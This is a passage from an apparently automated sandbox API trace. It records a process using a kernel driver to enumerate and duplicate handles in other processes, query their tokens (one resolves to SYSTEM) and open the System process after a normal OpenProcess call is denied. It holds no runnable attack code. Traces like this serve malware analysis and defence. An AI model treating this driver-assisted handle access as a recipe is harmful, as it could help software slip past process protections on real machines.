KeUnstackDetachProcess (ApcState=0xfffff880050005c8) [0129.951] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.952] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ccb50 | out: hHeap=0x190000) returned 1 [0129.952] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e60090 [0129.952] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e60090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e60090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0129.952] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.952] PsAcquireProcessExitSynchronization () returned 0x0 [0129.952] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880050005d0) [0129.952] ObReferenceObjectByHandle (in: Handle=0x454, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001a2d420, HandleInformation=0x0) returned 0x0 [0129.952] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.952] PsReleaseProcessExitSynchronization () returned 0x2 [0129.952] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xab [0129.952] ObQueryNameString (in: Object=0xfffffa8001a2d420, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.952] ObfDereferenceObject (Object=0xfffffa8001a2d420) returned 0x2 [0129.952] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.952] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e60090 | out: hHeap=0x190000) returned 1 [0129.952] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x738) returned 0xc4 [0129.952] GetCurrentProcess () returned 0xffffffffffffffff [0129.952] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x34, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0129.952] CloseHandle (hObject=0xc4) returned 1 [0129.952] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0129.952] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x78) returned 0x1b4c50 [0129.952] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x1b4c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x1b4c50, ReturnLength=0x0) returned 0x0 [0129.952] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b4c50 | out: hHeap=0x190000) returned 1 [0129.952] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x738) returned 0xc4 [0129.952] GetCurrentProcess () returned 0xffffffffffffffff [0129.952] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x34, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x8, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc8) returned 1 [0129.952] CloseHandle (hObject=0xc4) returned 1 [0129.952] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12dbc0, TokenInformationLength=0x800, ReturnLength=0x12d4b4 | out: TokenInformation=0x12dbc0, ReturnLength=0x12d4b4) returned 1 [0129.952] LookupAccountSidW (in: lpSystemName="", Sid=0x12dbd0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12d9b0, cchName=0x12d4bc, ReferencedDomainName=0x12d7a0, cchReferencedDomainName=0x12d4b8, peUse=0x12d4e8 | out: Name="SYSTEM", cchName=0x12d4bc, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12d4b8, peUse=0x12d4e8) returned 1 [0129.956] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0xa, TokenInformation=0x12d568, TokenInformationLength=0x38, ReturnLength=0x12d4b4 | out: TokenInformation=0x12d568, ReturnLength=0x12d4b4) returned 1 [0129.956] GetLastError () returned 0x32 [0129.956] SetLastError (dwErrCode=0x32) [0129.956] GetLastError () returned 0x32 [0129.956] SetLastError (dwErrCode=0x32) [0129.956] CloseHandle (hObject=0xc8) returned 1 [0129.956] CloseHandle (hObject=0xc0) returned 1 [0129.956] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4c4) returned 0xc0 [0129.956] GetCurrentProcess () returned 0xffffffffffffffff [0129.956] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x150, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0129.956] CloseHandle (hObject=0xc0) returned 1 [0129.957] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x88) returned 0x1ccb50 [0129.957] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ccb50, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ccb50*, lpBytesReturned=0x12d450*=0x1c, lpOverlapped=0x0) returned 1 [0129.957] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff880050005a8 | out: Process=0xfffff880050005a8) returned 0x0 [0129.957] PsAcquireProcessExitSynchronization () returned 0x0 [0129.957] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005c8 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005c8) [0129.957] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff880050005b0, HandleInformation=0x0 | out: Object=0xfffff880050005b0*=0xfffff8a0015fb200, HandleInformation=0x0) returned 0x0 [0129.957] PsReleaseProcessExitSynchronization () returned 0x2 [0129.957] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0129.957] ZwQueryObject (in: Handle=0x150, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff880050005a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff880050005a4) returned 0xc0000004 [0129.957] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x80, Tag=0x58637250) returned 0xfffff8a0035c19b0 [0129.957] ZwQueryObject (in: Handle=0x150, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a0035c19b0, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a0035c19b0, ReturnLength=0x0) returned 0x0 [0129.957] ExFreePoolWithTag (P=0xfffff8a0035c19b0, Tag=0x0) [0129.957] ObfDereferenceObject (Object=0xfffff8a0015fb200) returned 0x2 [0129.957] KeUnstackDetachProcess (ApcState=0xfffff880050005c8) [0129.957] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.957] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ccb50 | out: hHeap=0x190000) returned 1 [0129.957] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.957] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0129.957] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.957] PsAcquireProcessExitSynchronization () returned 0x0 [0129.957] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0) [0129.957] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0015fb200, HandleInformation=0x0) returned 0x0 [0129.957] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.957] PsReleaseProcessExitSynchronization () returned 0x2 [0129.957] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0129.957] ObQueryNameString (in: Object=0xfffff8a0015fb200, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.957] ObfDereferenceObject (Object=0xfffff8a0015fb200) returned 0x2 [0129.957] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.957] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.957] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x46c) returned 0xc0 [0129.958] GetCurrentProcess () returned 0xffffffffffffffff [0129.958] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x200, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0129.958] CloseHandle (hObject=0xc0) returned 1 [0129.958] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x88) returned 0x1ccb50 [0129.958] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ccb50, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ccb50*, lpBytesReturned=0x12d450*=0x22, lpOverlapped=0x0) returned 1 [0129.958] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff880050005a8 | out: Process=0xfffff880050005a8) returned 0x0 [0129.958] PsAcquireProcessExitSynchronization () returned 0x0 [0129.958] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880050005c8 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880050005c8) [0129.958] ObReferenceObjectByHandle (in: Handle=0x200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff880050005b0, HandleInformation=0x0 | out: Object=0xfffff880050005b0*=0xfffffa8003477400, HandleInformation=0x0) returned 0x0 [0129.958] PsReleaseProcessExitSynchronization () returned 0x2 [0129.958] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0129.958] ZwQueryObject (in: Handle=0x200, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff880050005a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff880050005a4) returned 0xc0000004 [0129.958] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x88, Tag=0x58637250) returned 0xfffff8a003a8d940 [0129.958] ZwQueryObject (in: Handle=0x200, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a003a8d940, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a003a8d940, ReturnLength=0x0) returned 0x0 [0129.958] ExFreePoolWithTag (P=0xfffff8a003a8d940, Tag=0x0) [0129.958] ObfDereferenceObject (Object=0xfffffa8003477400) returned 0x2 [0129.958] KeUnstackDetachProcess (ApcState=0xfffff880050005c8) [0129.958] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.958] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ccb50 | out: hHeap=0x190000) returned 1 [0129.958] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.958] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0129.958] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.958] PsAcquireProcessExitSynchronization () returned 0x0 [0129.958] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880050005d0) [0129.958] ObReferenceObjectByHandle (in: Handle=0x200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003477400, HandleInformation=0x0) returned 0x0 [0129.958] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.958] PsReleaseProcessExitSynchronization () returned 0x2 [0129.958] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0129.958] ObQueryNameString (in: Object=0xfffffa8003477400, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.958] ObfDereferenceObject (Object=0xfffffa8003477400) returned 0x2 [0129.958] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.958] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.958] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x370) returned 0xc0 [0129.959] GetCurrentProcess () returned 0xffffffffffffffff [0129.959] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x95c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc8) returned 1 [0129.959] CloseHandle (hObject=0xc0) returned 1 [0129.959] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0129.959] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x70) returned 0x1b4c50 [0129.959] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x1b4c50, ObjectInformationLength=0x70, ReturnLength=0x0 | out: ObjectInformation=0x1b4c50, ReturnLength=0x0) returned 0x0 [0129.959] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b4c50 | out: hHeap=0x190000) returned 1 [0129.959] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.959] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x64, lpOverlapped=0x0) returned 1 [0129.959] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.959] PsAcquireProcessExitSynchronization () returned 0x0 [0129.959] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0129.959] ObReferenceObjectByHandle (in: Handle=0x95c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002faa730, HandleInformation=0x0) returned 0x0 [0129.959] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.959] PsReleaseProcessExitSynchronization () returned 0x2 [0129.959] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1e8 [0129.959] ObQueryNameString (in: Object=0xfffffa8002faa730, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.959] ObfDereferenceObject (Object=0xfffffa8002faa730) returned 0x5 [0129.959] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.959] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.959] CloseHandle (hObject=0xc8) returned 1 [0129.959] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x338) returned 0xc8 [0129.959] GetCurrentProcess () returned 0xffffffffffffffff [0129.959] DuplicateHandle (in: hSourceProcessHandle=0xc8, hSourceHandle=0x320, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0129.959] CloseHandle (hObject=0xc8) returned 1 [0129.959] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0129.959] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x90) returned 0x1b4820 [0129.959] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x1b4820, ObjectInformationLength=0x90, ReturnLength=0x0 | out: ObjectInformation=0x1b4820, ReturnLength=0x0) returned 0x0 [0129.959] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b4820 | out: hHeap=0x190000) returned 1 [0129.959] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.959] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0129.960] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.960] PsAcquireProcessExitSynchronization () returned 0x0 [0129.960] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0) [0129.960] ObReferenceObjectByHandle (in: Handle=0x320, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031a5c70, HandleInformation=0x0) returned 0x0 [0129.960] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.960] PsReleaseProcessExitSynchronization () returned 0x2 [0129.960] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0129.960] ObQueryNameString (in: Object=0xfffffa80031a5c70, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.960] ObfDereferenceObject (Object=0xfffffa80031a5c70) returned 0x2 [0129.960] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.960] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.960] CloseHandle (hObject=0xc0) returned 1 [0129.960] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x1e8) returned 0xc0 [0129.960] GetCurrentProcess () returned 0xffffffffffffffff [0129.960] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x170, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc8) returned 1 [0129.960] CloseHandle (hObject=0xc0) returned 1 [0129.960] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0129.960] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x78) returned 0x1b4c50 [0129.960] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x1b4c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x1b4c50, ReturnLength=0x0) returned 0x0 [0129.960] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b4c50 | out: hHeap=0x190000) returned 1 [0129.960] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.960] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0129.960] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.960] PsAcquireProcessExitSynchronization () returned 0x0 [0129.960] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880050005d0) [0129.960] ObReferenceObjectByHandle (in: Handle=0x170, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800b6ae940, HandleInformation=0x0) returned 0x0 [0129.960] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.960] PsReleaseProcessExitSynchronization () returned 0x2 [0129.960] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3d [0129.960] ObQueryNameString (in: Object=0xfffffa800b6ae940, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.961] ObfDereferenceObject (Object=0xfffffa800b6ae940) returned 0xc [0129.961] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.961] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.961] CloseHandle (hObject=0xc8) returned 1 [0129.961] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0xc8 [0129.961] GetCurrentProcess () returned 0xffffffffffffffff [0129.961] DuplicateHandle (in: hSourceProcessHandle=0xc8, hSourceHandle=0x38, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0129.961] CloseHandle (hObject=0xc8) returned 1 [0129.961] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0129.961] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x88) returned 0x1ccb50 [0129.961] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x1ccb50, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x1ccb50, ReturnLength=0x0) returned 0x0 [0129.961] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ccb50 | out: hHeap=0x190000) returned 1 [0129.961] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.961] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x52, lpOverlapped=0x0) returned 1 [0129.961] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.961] PsAcquireProcessExitSynchronization () returned 0x0 [0129.961] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0129.961] ObReferenceObjectByHandle (in: Handle=0x38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a004ab7080, HandleInformation=0x0) returned 0x0 [0129.961] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.961] PsReleaseProcessExitSynchronization () returned 0x2 [0129.961] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0129.961] ObQueryNameString (in: Object=0xfffff8a004ab7080, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.961] ObfDereferenceObject (Object=0xfffff8a004ab7080) returned 0x3 [0129.961] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.961] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.961] CloseHandle (hObject=0xc0) returned 1 [0129.961] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0129.961] GetLastError () returned 0x5 [0129.961] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335003c, lpInBuffer=0x12d400*, nInBufferSize=0x8, lpOutBuffer=0x12d408, nOutBufferSize=0x8, lpBytesReturned=0x12d390, lpOverlapped=0x0 | out: lpInBuffer=0x12d400*, lpOutBuffer=0x12d408*, lpBytesReturned=0x12d390*=0x8, lpOverlapped=0x0) returned 1 [0129.962] ZwOpenProcess (in: ProcessHandle=0xfffffa8002449340, DesiredAccess=0x10000000, ObjectAttributes=0xfffff88005000688*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88005000678*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffffa8002449340*=0xc0) returned 0x0 [0129.962] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.962] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350014, lpInBuffer=0x12d430*, nInBufferSize=0x20, lpOutBuffer=0x12d470, nOutBufferSize=0x8, lpBytesReturned=0x12d3d0, lpOverlapped=0x0 | out: lpInBuffer=0x12d430*, lpOutBuffer=0x12d470*, lpBytesReturned=0x12d3d0*=0x8, lpOverlapped=0x0) returned 1 [0129.962] ZwOpenProcess (in: ProcessHandle=0xfffff880050005f0, DesiredAccess=0x40, ObjectAttributes=0xfffff88005000608*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff880050005f8*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffff880050005f0*=0xffffffff80000c14) returned 0x0 [0129.962] ZwDuplicateObject (in: SourceProcessHandle=0xffffffff80000c14, SourceHandle=0x424, TargetProcessHandle=0xffffffffffffffff, TargetHandle=0xfffffa8002449340, 